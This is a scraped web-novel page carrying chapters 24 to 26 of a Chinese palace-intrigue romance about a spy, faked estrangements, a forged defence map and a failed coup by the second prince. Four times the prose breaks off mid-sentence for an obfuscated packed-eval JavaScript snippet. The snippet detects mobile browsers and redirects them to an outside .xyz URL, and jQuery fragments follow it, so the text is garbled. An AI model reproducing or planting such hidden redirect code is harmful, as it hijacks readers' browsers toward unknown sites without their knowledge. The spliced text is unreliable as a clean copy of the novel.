;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480837|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出如此小人勾当。
此时,一男子突然走进房门,到素歌身边,手中拿出一样东西递给素歌。
容钦心中一闷,原来人家姑娘已有心上人。
他心道自己一个流连花丛无数的太子爷,竟然如做贼般在此偷窥,真是令人笑掉大牙。
他才不要做这“梁上君子”,也不要做无谓的插足,于是傲气转身,准备离开。
谁知,那男子开口了:“暗线来报,天启最新制作的城防图,放置于太学藏书阁,你去将其偷来。”
容钦闻此,猛地蹙眉,顿住了脚步,气息也冷滞。
这女子,竟然要偷天启的城防图?!
他虽不喜朝政之事,但事关本国安危,他身为太子,绝不可坐视不理。
只听素歌沉默许久,也没有接过那人手中的东西。
半晌,她暗含冷冽的声音响起:“我不想再见战争,民不聊生。”
那男子冷笑一声,“生是大辽暗探,死了也只能是大辽暗探,你没有选择的权力,这一次任务你必须做。”
容钦心中瞬间了然,她定是近日盛传的北辽暗探。
然而,她那句“不想再见战争,民不聊生”却是记在了他的心里。
不久后,容钦竟日日守在太学门口。
直到那日,恰好看到一个熟悉的女子身影,正翻墙而出。
太学白日开课,人多嘈杂,戒备不严,到了夜晚之时,戒备守卫要比白日里森严数倍。因此他赌这位素歌姑娘,会选择白日里,离藏书阁最近的围墙进入。
半猜半赌,竟让他等到了。
他懒散地倚靠在墙边,扇面一甩,轻笑一声。
“果然是专业暗探,这翻墙的位置选得不错,身手也很了得。”
素歌猛然转头,与容钦对视上,目光透露着危险。
“你是……天启太子?”素歌认出了容钦,心中暗暗一惊。
转而似乎松了口气的样子,道:“既然叫你抓到了,要杀要剐,悉听尊便。”
一个敌国暗探,竟然是连挣扎也未有,直接选择了放弃。
容钦无所谓地摇摇扇子,“我何时说过我要抓你?”
“你就一个人?”
“自然。”
“不怕我将你杀了?”
“你不会。”
素歌看着面前这自信的男子,嗤笑一声,亮出手中小刀。
容钦还真被她吓了一跳,急忙道:“你若是将城防图交出去,便是害了天下百姓。”
素歌瞥了他一眼,冷声开口:“我不过只是任人摆布,只为完成任务的傀儡,我有何做主的权力。”
“你可以有。只需留下这城防图。”
“凭什么让我信你?”
“就凭我……一言既出,驷马难追。”
容钦有些汗颜,这承诺,好像是没什么说服力。不过素歌似乎是有些信了,只是眼神有些黯然。
“可任务失败,我一样身处危险之中。”
“那就来我太子府,我护你周全。”
他说得坚毅。
素歌微微一愣,紧握小刀的手,忍不住松了松。
于是京城中便有了太子爱美人,竟将青楼舞姬收入府中,金屋藏娇、以琴和舞的“美闻”。
这一晃,竟是这么久过去了。
24. 第 24 章
夜色降临,月光透过窗棂,房内一片昏暗。
案台上的烛火闪烁着,融化的蜡油顺着烛台滴落。
容治坐在书桌前,手指轻点桌案。桌案前跪着一位身着黑衣的男人。
容治眼神微微眯起,声色冷冽阴险。
“你说大哥与四弟一同去了尚书府,待了两个多时辰之久,他们可是已经查到了什么?”
“属下觉得,看起来……不像。”
那黑衣男子犹豫片刻,开口禀报。
“出府之时,太子看起来怒气冲冲,四殿下则面容憔悴,那温家小姐在后头哭哭啼啼,温家公子护着妹妹对四殿下骂骂咧咧,温尚书面色尴尬……”
容治越听越发糊涂。
这是何意?
“听你这意思,他们这是……有所不合?”
黑衣男子面戴黑巾,却好像能看出,他的神色略有一丝龟裂的意味。
“这……属下瞧着,大约是这样。”
“我这大哥虽然是个草包,不理朝政,但我这越发有本事的四弟因着太后的关系,一向与大哥交好。
四弟又即将与温家联姻,虽明面上不显,但这几人私下却是始终站在一条阵线上的。怎会突然之间便不合了?”
黑衣男子半晌说不出话来,二殿下这个问题,他也很难回答。
他尝试着解释:“或许是因为此次太后之死,婚期拖延,这才让他们之间暗生间隙,陡生变故?”
容治闻言,思索片刻,觉着颇有些道理。
这一个月他们都在太后的丧礼之上,虽说没什么交流机会,但依他看来,他这四弟虽表面看起来无甚变化,甚至连一滴眼泪也未流,正如他母妃当年死时一样,但实际打击不小,心底里暗潮汹涌,分明在故作坚强。
这自小无情无义的小怪物,如今也是有了软肋。
他唇角微扬,目露凶意。
“你再继续跟着,探听情报,回来告知我。”
经此一遭,如若他这四弟一蹶不振,令他们生出不合,那么……这将是天助他也。
“是。”说完,黑衣男子便没了身影,隐匿在了暗夜之中。
*
几日后,后宫柔仪殿。
约莫三十多岁的女人正对着镜子描眉画眼,却并非胭脂红粉,而是素色的口脂。
女人正是二皇子之母,婉妃。
为了展示自己对太后亡故的悲痛,她近日来特意将自己画得面容憔悴、凄凄惨惨,但又不能显得自己容颜丑陋,如此才好在皇上面前博个同情,展示一下孝心。
容治踏入柔仪殿,在婉妃身后鞠了一礼。
“儿臣见过母妃。”
婉妃眉眼微挑,却未曾转头看他一眼,只顾着描眉,对着镜子淡声道:“你父皇近日在朝堂上待你如何?”
容治随意回答:“尚可。”
“听闻四殿下与温家闹了嫌隙,如今一蹶不振,这几日都关在寝殿之中,朝堂也未去。”
婉妃得意一笑,继续道。
“还有那太子,太后没了,他还依然有心在府中与舞姬寻欢作乐,皇上这两日可有些不高兴。如今朝堂上无人可与你相争,你得好好把握机会,得到你父皇的认可。”
容治眼底一暗,恭敬回答:“是,母妃,儿臣定当竭尽全力替父皇分忧。”
然而婉妃对他的顺从并不满意。
她转过身来,怒斥道:“总说竭尽全力,你怎的还如此不争气!你生来坐不上太子之位便罢了,那老四才入朝多久,便立刻压你一头!”
斥完,她又突然想到什么一般,情绪忽然一转,深深闭眼,扶额喘了口气。
“可惜,你是我肚子里生出来的,天生排行老二,便永远只能是老二,偏偏做不了太子!”
“是我,是我的错……”
她情绪激动,容治却神色没什么变化,这么多年,他早已习惯母妃这般模样。
他心中漠然道,既然这规矩不公,那便他自己来抢,自己做自己的规矩。
这一天,他想不会太久了……
从柔仪殿退下后,容治便坐上马车,准备回府。
自南街而过之时,风将帘幕撩起了一道缝隙,容治斜睨了一眼,忽然见一熟悉的女子身影。
他拉起帘幕,轻笑一声,让马夫将马车停下。
然后信步走下马车,朝那女子唤了一声“温姑娘。”
温雪与怀秋正在路边逛街,见一珠钗漂亮,正要试着往头上戴。
却听到一熟悉的阴冷男声从背后响起,一只手将她手中的珠钗拿过。
温雪猛然一惊,转过身来,见到来人,他手中正拿着从她那取走的珠钗,作势要往她头上戴。
她连忙往旁侧后退两步,避开了他的手。
容治也不恼,冷冷地笑了一声,将那珠钗还给了温雪。
“见过二殿下。”温雪恢复端方的千金小姐模样,手于身侧,鞠了一礼。
容治看着她面色如常,早已没有以前属下汇报的“哭哭啼啼”的模样,便直接开口问。
“温姑娘,这几日难道未曾听闻四弟在宫中郁郁寡欢、一蹶不振的消息吗?”
“自是听闻了些许。”
“你便不打算做出什么表示?怎的还有心思在这逛街挑选珠钗。”
温雪闻言,做出一脸苦涩,叹了口气,眼底似乎有些郁闷。
“子安他……他怨小女刺杀那日没有护好太后,才致太后被害。如今婚期因守孝之礼,需得延期一年,小女心中委屈,子安却觉着是我应该受的。”
温雪假意拿出手绢擦拭了眼下不存在的眼泪,“殿下您说,小女该有何表示?”
容治一脸惋惜,“四弟竟是这般想法?实在是不懂得怜香惜玉。”
温雪故作坚强,“罢了,有些人自是有缘无份。爹爹也劝我,既然四殿下如此这般,那便不要再过多往来了,婚期既在一年后,便还有转机。”
“如此看来,温尚书也期望你与四殿下断了联系?”
“爹爹一向宠溺我……也许的确如殿下所说罢。”
容治笑得大声了些,似是听到了什么趣事,转而又忽然摇了摇头,收起了笑意,探究地看向温雪,眼神危险。
“温姑娘,今日与我倒是话多了些,过去可只有拒绝我的份。”
温雪心头一紧,二皇子这人生性多疑,莫不是被他发现了些许端倪?
她立刻镇定道:“毕竟您是二皇子殿下,小女人微言轻,不敢造次。”
“那过去怎的舍得拒绝我?”
温雪嘴角微抽,这二皇子怎的如此爱打破砂锅问到底。
“自是因为,当时小女心仪四殿下,有四殿下为小女撑腰,如今您也说了,四殿下一蹶不振,在宫中都不愿出来,小女失了所爱,又失了靠山,心中郁结。”
容治唇角微微扬起,又是轻笑一声,看不出是什么态度。
“你倒是实诚,什么话都敢说。”
温雪讪讪一笑,“一时间没忍住,口无遮拦了,小女先告辞。”
温雪刚转身要走,便听身后之人道:“慢着。”
她转过头,见容治眼神微眯,一副深不可测的模样,盯着她不放。
“二殿下还有何事?”
容治道:“你便,不想与四弟再聊一聊?”
温雪拒绝:“您也说了,他日日躲在宫中,小女不方便进出宫门。”
“那就让本殿下带你进去。”
眼见无法轻易摆脱二皇子了,温雪干脆应下。
“……如此也好,小女谢过二殿下。”
恰好,能趁此机会与容适见一面了,也好让二皇子对他们放下防备。
这还是温雪第一回来到容适所住的宫殿。
慈宁宫不远处有一会宁阁,乃是容适的生母宁妃生前所住,宁妃死后,他便被遗弃在这阁中无人理会,直到太后开始照顾他,指派了下人收拾出了这阁楼,他才有一正常的屋子可住。
轿撵一直行至阁楼门外。
温雪刚要下轿,容治忽然道:
“四弟这两年转了性子,还以为他那障病好了,没想到太后一死,他便又病发了。温姑娘可要好生劝一劝他。”
“……是。”
要与人虚与委蛇,还真是不容易。
温雪上前敲了敲门,是下人走来开门,下人的脸色有些不好。
“温小姐,您便回去吧,四殿下不愿见您。”
温雪泫然欲泣,“好歹相识一场,不至于到老死不相往来的地步,就让我见他一面吧。”
那下人纠结了片刻,转身让出了位置。
“那您进来吧。”
温雪还未迈步,房门口便出现了容适的脸。
他自昏暗之中走来,面容略微发白,嘴唇微带一点血色,还略带刚喝完茶或是酒的湿润,平日里澄澈晶亮的眼眸此刻泛着红血丝,仿佛整个人快要支离破碎。
他就这么定定看着她。
“你来做什么?”他声音也发苦。
温雪:“……”
温雪差点没绷住。
前些时日还说他不会说谎,如今看来,这做戏的本事倒是已经学得一套套的了!真可谓是天赋异禀,学什么都快。
温雪道:“我来看看你,你看起来很不好。”
容适声色冷漠,“见到你,我便会想起皇奶奶飞身挡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490421|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在你面前死去的样子……我不想看见你。”
说完,便要将房门合上。
容治伸手挡住门,得意又挑衅地邪笑,“四弟,我可曾说过,若是温姑娘要离开你,我便是要将温姑娘抢过来的。”
容适神色微凛,抬眸盯着他,冷得能淬冰,眸中暗色翻涌,眼底的血色仿佛更深了些。
温雪心中警铃大作,面朝他偷偷眨了眨眼,暗色他不要冲动。
容适瞥了他一眼,阖了阖眸子,最终冷冷吐出几个字。
“悉听尊便。”他的意思是随他便。
温雪一脸悲伤失望地扭过头,疾步而去,似乎若是再多待一会儿,她便要忍不住崩溃了。
事实上,再多看容适一会儿,她怕是就要破功了。
容治冷哼一声,也转身离去。
容适看着二人远去的背影,一动不动,天知道他用了多少力气,才按捺下心中翻涌的不甘,这才缓缓关上了房门。
*
夜晚,一道身影出现在温雪后院窗口。
正是容适。
他轻唤一声:“雪儿。”
温雪猜到是他,打开了窗户,眨巴眨巴眼,趴在窗棂上看他。
“不是说好了,要让他对你和太子放下戒心,所以便先不要见面了。”
“我忍不住。”他道。
今日那出戏演完,他若不见温雪一面,怕是几天几夜都要睡不好了。
他问:“我演得如何,可有破绽?”
温雪想起今日他那般做作模样,觉得实在好笑,“你今日那般冷漠无情,还真不像演的。”
容适眼中闪过慌乱,蹙起的眉头似有些委屈,“我……学了许久。”
温雪挑眉,“哦,如何学的?”
容适答:“你送我的画本内有描绘,将你想象成画本里抛夫弃子的妻子,便演出来了。”
温雪:“……”
他如今可真是开了窍,学这些都有模有样起来。
容适微微垂眸,眼底黯然。
“只是……最后看着你与二哥走掉时,我险些演不出来了。”
“为何?”
“我真想……直接将你抢过来。”再将她身边的男子都收拾干净。
只是后半句他没有说出口。
温雪轻笑,手支着下巴,懒洋洋地倚靠在窗棂上,好整以暇地瞧着他。
“那子安可还有从画本子里学到些其他的?”
其他的……
他又一次想起书里那游船的男子与女子,女子俯身靠近男子,交颈亲吻的描写。
以及午夜梦回时,温雪软绵绵的身子靠在自己怀中,呼吸温热的模样。
他眼神闪躲起来,温雪却偏偏要追着他的眼神跑,令他只得无奈唤了声“雪儿”。
月光恰好从乌云间冒出了头,筛过枝头,影影绰绰落下,映亮了温雪的面颊与唇眼。
然后他的目光就落在了她的唇上,怎么也移不开了。
他伸出手,抚上她的脸,指尖轻轻摩挲了一阵。
温雪恍惚间仿佛看到上一世的他,也是喜欢这样伸出手,从脖颈间伸过来,在她脸侧轻轻触摸,只是那时,他的眼神比现在更加锐利,宛若一头凶猛的野狼。
容适看着她的眼睛,想要看进她心底里。
可她目光深远,仿佛透过他在看什么更久远的东西,于是他低声问。
“你在想什么?”
“在想你。”
“骗人。”
他似是有些不高兴又有些哀怨,手掌穿过她的长发,落在她后脖颈上,另一只手穿过她的腰间,陡然间将人往前一带。
温雪轻呼一声,身子直接被他带出窗棂,他轻巧一抱,让她直接坐在了窗台上。
这窗不高,温雪坐在上头,也就堪堪比他高半个头。
他仰起了头,温热的触感落在她唇间,这是他第一次这样主动,温雪睁大了眼,却立刻被他伸手捂上了眼睛。
若是她看着自己,他怕是更要受不住了。
辗转半晌,那月光又躲回了云里。
从她唇间分开之时,他在她唇间轻咬了一下。
温雪:?!
顺毛小狗怎么还学狼崽子咬人呢?
她轻喘着气,呆呆看着他。
容适吞咽一口,哑声道:“往后,只能想我一个人。”
“好。”
容适抵在温雪的额间,温雪红着脸颊道:“你这画本当真没白看,学得不错。”
她是故意逗他,他知道,但还是浑身热得像要烧起火来。
谁能想到,白日里还相互“仇视”的二人,夜色之中却是这般亲昵模样。
25. 第 25 章
尚书府。
温雪正在院中看书,懒懒躺在椅子上,长发垂落椅背,怀秋站在身后为她梳着长发。
此时,温珩从院门走了进来。温雪扭头看向温珩。
他是方才从府内书房过来的,想必已经是刚刚与父亲商议好后续的计划与动作。
温雪放下书,问道:“此次城防图一事,安排得如何?”
“那城防图寻回的消息已经顺利放出去了,此次放出消息的,是父亲信任的内阁之人。”
温廷乃是尚书,虽表面看起来权力不大,又政治清明,实际上广交人脉,当今各地有头有脸的官员都与温廷有些交好。
因此找几个信得过、靠谱的人来帮忙做事并不难。
温雪又道:“那安排了何人运送城防图?”
这运送之人,恐怕要遭遇袭击,需得是身手足够好,又令他们信任之人。
温珩回答:“运送城防图的,是四殿下的人,听说此前是太后的心腹,身手了得。”
如此安排,令温雪放下心来。
温珩继续道:“想必二皇子收到风声,必会有所行动。”
“二皇子的手下可有起疑心?”
温廷皱眉摇了摇头,“暂且无法确定,只需那城防图于路途之中被人劫走,那便是说明他信了。”
温雪点头道:“如若顺利拿到城防图,此时天时、地利、人和,若二殿下当真有异心反叛,那此刻便是一个动手的好时机。”
他们此前关系甚密,令二皇子心生忌惮。
于是先是假意不合,再是将城防图一事暗戳戳泄露出去,刻意为二皇子制造机会。
这些计划想法都是那日几人商议时,温雪现场提出来的。
在短短的时间内,可以厘清这么多人物关系,想出这样的办法,这让温珩对她有些刮目相看。
如今实施得也不错,基本顺利。
温珩笑道:“想不到雪儿如今这么有计谋。”
“哥哥又打趣我。”温雪无奈笑笑。
只是曾经她生活无忧,安于现状,从未想过参与朝堂纷争,如今却深陷其中,有些事便不得不做了。
说起来,她哥哥上一世也是足智多谋,年纪轻轻便让皇上封了官职。推算一下时间,也应当到了皇上给哥哥封官的时日,怎的似乎还没有一点消息?
温雪倒了杯茶,问道:“哥哥,近日皇上可有给你封官职的意思?”
温珩神色惊讶,“你便如此看好你哥哥?不过叫你失望了,皇上近日可没有封官的计划。”
“怎会如此……”
温雪有些想不明白,怎的皇上便不给哥哥封官了呢?
或许是因为她重活一世,改变了许多事,连带着哥哥封官一事也有了变动。
她心中有些愧疚,“哥哥如此足智多谋,定有一日会被皇上重用的。”
温珩噗嗤一声笑了,“真是难得,雪儿竟是不损你哥哥,改成如此鼓励了。”
“哥哥怎的还不信呢?”
“我信我信……”
*
是夜,二皇子府。
上回汇报那名男子又一次立于容治桌案前,躬身道:
“二殿下,属下打听到最新消息,那失窃的城防图已证实被辽人盗走,如今已被寻回,将于七日后,由西北向东南方向,快马加鞭,秘密运送至天启京城之中。”
“情报当真?”
“是,属下乃是从内阁亲耳听到,此事他们商议得很隐蔽,属下也是费了些许力气才弄清楚的消息。”
自那城防图失窃之后,内阁便一直未曾找到图的下落,如今终于是找到了。
既然是秘密运送,那想必不会走官道,且运送的人也不会多,只需找好路线,提前蹲守好,便可以截下。
烛火摇曳,映着容治的脸晦暗不明。
容治抄起纸笔,开始洋洋洒洒撰写些什么,写到最后一句话是:
【朝堂内乱,派系分崩,待城防图到手,或将迎来最佳起兵时期。】
写完,他将信纸折了几折,套入一纸信封,在信封外壳上写下“定北侯亲启”几个字。
他伸手一个响指,又召出一黑衣男子来,单腿屈膝跪在他桌案前,此人出现得悄无声息,一看便是身手敏捷。
他将信扔给那人,“将这密封信送往定北侯府。”
“是。”
那人接过信后,立刻消失在原地。
不日后,北方封地,定北侯府便收到了这封密信。
定北侯立刻拆开了信封,细细读完内容,不由得仰天大笑。
他那表妹身为武官之女,却甘于屈服在牢笼般的深宫之中,当个无用的宠妃,讨好那狗皇帝,一生懦弱。
没想到,却是生了个有胆量的儿子。
三年前,他这个年纪轻轻表外甥来北地处理事务,便主动联系他,他一开口,竟是想与他合谋谋权篡位。
当真是有野心,十分对他的胃口。
他早看那狗皇帝不爽。
这么多年了,皇上让他管辖和镇守这一方北地,抵御北辽。北地严寒干燥,土地也贫瘠,生活穷苦,养兵不易,这些他都认了。
没想到,官家却是明里暗里克扣军饷,令他的兵马总是吃不饱穿不暖。他这才明白,既怕他兵力太弱,抵御不了敌国,又怕他兵力太强,功高盖主,威胁到他的皇位。
如此一来,满朝文武多文官,他一介武官,便再无机会走上朝堂。
这等目光短浅的孬种皇帝,还自视甚高,自诩天启之国一代明君,真是可笑至极!
可他的表外甥容治却是自小崇武。
于是他与容治一拍即合,既然皇上靠不住,那不如扶持二殿下上位,给自己也谋个好前程。
今日二殿下送来的这封信道,太后之死、北辽刺客之事闹得人心惶惶;太子与四皇子皆被凡尘俗事所扰,无心朝政,连带着党羽臣子都人心涣散。
这正是他们计划的好时机。
谋划多年,二殿下送来的钱财不断,如今他们兵力强盛,粮草富足,只需再取得城防图,攻城之计便可万无一失。
不由得大笑了一声,心中得意。
转过身,对立于他身侧的心腹道:“待到城防图一到手,便起兵,南下!”
“恭喜定北侯!”
说完,定北侯将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504560|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那封信于烛台之上点燃了一角。
很快,火苗便将这密信吞了个干净。
*
西北往东南,一男子骑着快马,飞速奔驰在路上,他背上拴着一个卷筒状的容器。
他走的不是官道,因此四周略显荒凉,路上杂草丛生,马蹄踏过之处,半人高的草垛“刷刷”攒动。
忽然几声“咻”的响声,闪着锋芒的箭矢从林中飞速射出,几支箭飞过他的身侧插入地上,只有一箭堪堪擦过男子的肩膀,恰好将那卷筒的绳子弄断。
男子拎上了卷筒,急忙调转马的方向,一手执起腰间别着的佩剑。
身后的刺客也紧跟着追上,又射来几箭,其中一箭断了他手中的卷筒绳,卷筒飞落在地上,另一箭则飞入他的肩膀,扎进了肉里。
男子慌张地回头看了一眼,似乎是纠结犹豫是否要回去护着那卷筒,转而又似乎下了决心逃跑,不甘又慌乱地策马而去。
直到他的身影远去了,那几个刺客才上前将卷轴带走。
那策马离去的男子确认他们将图带走,这才捂了捂胳膊的伤,拔下了那一支箭。
会宁阁中。
男子无声无息地进门,站在容适的桌案前。
此人正是陆风,之前为温雪开过门的下人,也曾是跟在太后身边的亲信。
陆风的父亲便曾是太后年轻时的手下,所以他也自幼跟着太后,常年护着太后。可偏偏太后去大铭寺祈福那几日,他并未跟在身边。
听闻太后噩耗后,他觉得自己未能尽职尽责,自愧不已。
如今太后故去,他便遂了太后生前的意,跟在了四殿下身边,一心效力四殿下。
陆风恭敬道:“四殿下,任务顺利完成,果真有人来劫走那城防图。”
“对方可有起疑?”
“应当没有。”
陆风是暗卫,在替容适做事之前,他始终在暗处,因此没有人知道他什么样子。他又武功高强,做这种危险的事最适合不过。
然而,容适却闻到了一丝隐隐约约的血腥味。
容适皱了皱眉,“你受伤了?”
“不妨事。”
容适转身从柜子中拿出一瓶药来,递给他。
“金创药,好好养伤吧。”
陆风接过,“是,谢殿下。”
他忽然想到一事。
他从腰间取出了那支箭头,双手呈上。
“四殿下,您此前一直在查杀害太后那支箭,因此我将此次遇刺的箭拔断了,将箭头带了回来。”
如若追杀他的人和刺杀太后的让都是二皇子的手下,那用的箭想必也是一样的。
容适拿过那箭头,在烛光下细细查看,还微微带着一点未去除干净的血色。
容适更加紧皱了眉头,“你确定是这支箭头?”
“是。这正是中伤属下的箭,属下亲自拔出来的。”
容适放下箭头,一阵不安袭上心头。
这箭头竟是与刺杀太后那支,并不一样。
射杀太后的是一支工艺精湛的四棱锥形箭头,可今日这支箭,则是长锥形箭头。
这……会是偶然吗?
26. 第 26 章
启元节,乃是皇帝寿辰之日,本应是大办御宴,百官朝贺的日子。
却因着太后故去不过三月,皇上仍在守孝之节中,于是下诏“圣节赐宴从简”,只需皇室中人与朝中部分一品官员赠礼,也免去了礼乐之仪。
大殿之上,皇上身着浅黄色常服,旁边坐着皇后与婉妃,二人穿着打扮均不显华丽。
殿中官员臣子亦不敢穿着艳丽繁复,只得穿一身常服,规规矩矩在殿中坐成两排。
太子容钦坐于左侧上宾之位,自桌案前起身,走上前,向皇上奉上一礼。他拿出一幅画,卷轴徐徐打开,露出画的模样。
“父皇,此乃前朝苏落士大夫的墨宝,价值千金的《百鹤图》,愿父皇鸿运齐天,万寿无疆。”
皇帝满意地点了点头,“不错,太子有心了。”
二皇子容治坐于太子左侧,太子赠完礼后,本该是他上前赠礼。
然而他却拱手向皇帝道:“父皇,儿臣的贺礼较为特殊,儿臣愿最后一个献礼。”
“哦?”皇帝眼神微眯,似乎是有些兴趣,又似乎是探究,转而看向旁边的容适,“那老四可带了什么贺礼?”
容适的神情没什么变化,即便二皇子方才一直在看他,他也置若恍闻。
直到此时,他才上前,端上一木质盒子,打开,里边是一盏雕刻着栩栩如生的龙纹的金碗。
“此乃金丝盘龙盏,愿父皇寿与天齐,福共海长。”
皇上亦点点头,命人收走了贺礼,叫容适退下。
二皇子嘴角上扬,暗暗嗤笑一声,瞥了容适一眼,容适却并未有任何回应。
这小子,果然深受打击,又成了个痴傻的。二皇子一边心生得意,一边饮了一杯酒,望向城北的方向。
差不多,是时候了。
他将为他敬重的父皇献上一份意想不到的大礼。
臣子官员约二三十,一个个献礼,很快便要献完,最后一个温廷将贺礼呈上,便只剩一人未曾献礼。
皇帝的目光落在二皇子身上。
“老二带了什么特殊的大礼?”
闻言,二皇子放下酒杯,抬眸扫了一圈众人,带着邪肆的笑意,微微晃着身形站起身来。
“父皇莫要心急,我要给你准备的贺礼,很快就到了。”
话音刚落,一身穿兵甲的男子慌里慌张地跑了进来,他穿的是皇家制式的兵甲,一看便知是皇家御林军队伍中人。
男子跑得气喘吁吁,一副惊慌失措的模样,跪在了大殿之上。
“皇上!定北侯亲自领兵南下,此刻他们已经将皇城包围了!”
“什么?!”皇帝一下子失了威严的模样,惊慌地从椅子上站起。
现场的官员也顿时惊慌失措,议论纷纷,场面一度混乱起来。
“这定北侯,竟敢谋逆造反?!为何前线毫无消息,他是如何悄然无息地来到皇城?”
“莫非……那途中被人劫走的城防图,便是定北侯劫走的?”
看着皇帝和在场臣子一脸震惊诧异的模样,二皇子仰天大笑几声,带着轻蔑与嘲弄。
“各位猜错了,那城防图并非定北侯劫走,而是被本殿下劫走的。”
皇帝更加难以置信,“老二,莫非你,你!已经勾结上了定北侯?”
“是啊,这次父皇猜得没错。”
“你为何要这么做?”皇帝一脸痛心疾首。
“若儿臣不这么做,又如何迈过太子之位,坐上这帝位呢?”
容治此时语气张狂,连带着他的神色也跟着狰狞起来。
身侧的婉妃方才亦被这场面吓到了,直到此时才真正意识到发生了什么,瞬间面色苍白,手也不由自主地颤抖起来。
万万没想到,她的表兄和儿子,竟然会联起手来,想要谋朝篡位,而她竟一直被蒙在鼓里。
她连忙跪倒在皇帝旁边,祈求道:“皇上!治儿只是一时糊涂,他定是被我那表兄所迷惑,谋朝篡位这等大逆不道之事,绝非我儿能做出来的啊!”
转而又跑到容治身边,看着她这个她也觉得有些陌生的儿子,“你快说呀,你不是要谋逆,你不是!”
二皇子深深看他的母妃一眼,“母妃,就是我做的,那又如何?”
婉妃绝望地倒在了地上,捂住了心口。
二皇子蹲下看着婉妃,低声道:“放心吧母妃,很快,这皇帝之位就是我的了。”
此时,太子忽然说话了:“二弟,你怕是要失望了。”他语气淡然。
二皇子抬眼看去,“你这是何意?”
太子看着他,眼神锐利,“二弟,你便如此自信,定北侯已经攻入皇城?”
看着太子镇定的模样,二皇子脸色微变。
此时,一男子被人押解而来,跪倒在二皇子面前。看着面前这场景,他知道一切都已经晚了。
来人正是定北侯身边的亲信,他已经身受重伤,胸口的鲜血汩汩地往外流。
出口的话也磕磕绊绊,“二,二殿下,定北侯急报,三千精兵已于城门外遭遇突袭败北,此次起兵……失败。”
说完,他便口吐一口鲜血,倒在了地上,再无意识。
“怎会如此?!”二皇子脸色已经瞬间阴暗,扫视过殿上众人,“我算无遗策,连城防图也到了手,怎会起兵失败!”
太子沉声道:“你如何确定那城防图是真的?”
“那还能有假……”二皇子话说至一半,瞳孔逐渐震惊颤抖,所有的事件脉络瞬间清晰。
“好啊,原来是你们,你们从太后死后便一直在算计我了。”
“就许你谋划多年,算无遗策,就不许我们棋高一着,道高一丈?你便是这些年太过顺利,盲目自信,才着了我们的道。”
二皇子轻笑了几声,接着变成发狂般的大笑,“好啊,好,我竟是输给了我的好哥哥,好弟弟。”
太子垂眸,看着他这般模样,虽说赢了,可却高兴不起来。
他语气有些沉重,“二弟,你为何要这么做?为何要勾结定北侯谋逆?”
“你说呢?”二皇子凉凉地看他一眼,反问了一句。
太子有些失望,毕竟多年兄弟,少年时也是有过感情的。他这二弟虽然越长大城府越深,但他还是抱有一线希望,期望他不会做出谋逆这等大逆不道的事来。
可事到如今,二皇子谋逆的事实已经摆在所有人的眼前。
而他多年谋划,就在这荒唐的一夜之中悄然落幕。
是夜,城中百姓无人在意皇家之事。
谁也不知这一夜,竟是险些军临城下,险些改朝换代的一夜。
三日后,地牢。
地牢不见天日,阴暗潮湿,充斥着腐朽的气息,唯有一丝丝光亮从监牢的窗缝里透进来。
曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512331|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经辉煌的二皇子被关押在这破败的地牢里,蓬头垢面。所幸囚衣衣衫完好,没什么伤痕。
太子走进地牢,站在二皇子的牢房前,静静看着他。
二皇子缓缓抬头,往常带着邪肆阴沉的眼眸如今也黯然失色,“怎么,大哥这是来看我笑话?”
太子抿了抿唇,慢慢开口:“二弟,你为何……”
话还没说完,二皇子却突然打断他,抓狂道:“有什么为何?没有为何!我便是如此想,便如此做!有什么不对?”
他激动地起身,抓住了牢房门上的栏柱,手上脚上的镣铐碰撞,登时叮铃作响。
待他说完,太子闭了闭眼,深吸一口气继续道:“你为何,不选择杀了我,自己坐上太子之位。”
二皇子怔忡了一瞬,立刻嗤笑一声。
“我杀了你,然后呢?求着我的好父皇器重我,高看我一眼,再拿我与四弟比较一番?”
他想要皇位,那这矛头便是要直指帝位上的人,他就是要坐那个无需受人桎梏的九五至尊的位置。
“既然如此,你为何要刺杀太后?”
容适的声音出现,他缓缓从墙边走了出来,站在牢房前,定定看着二皇子。
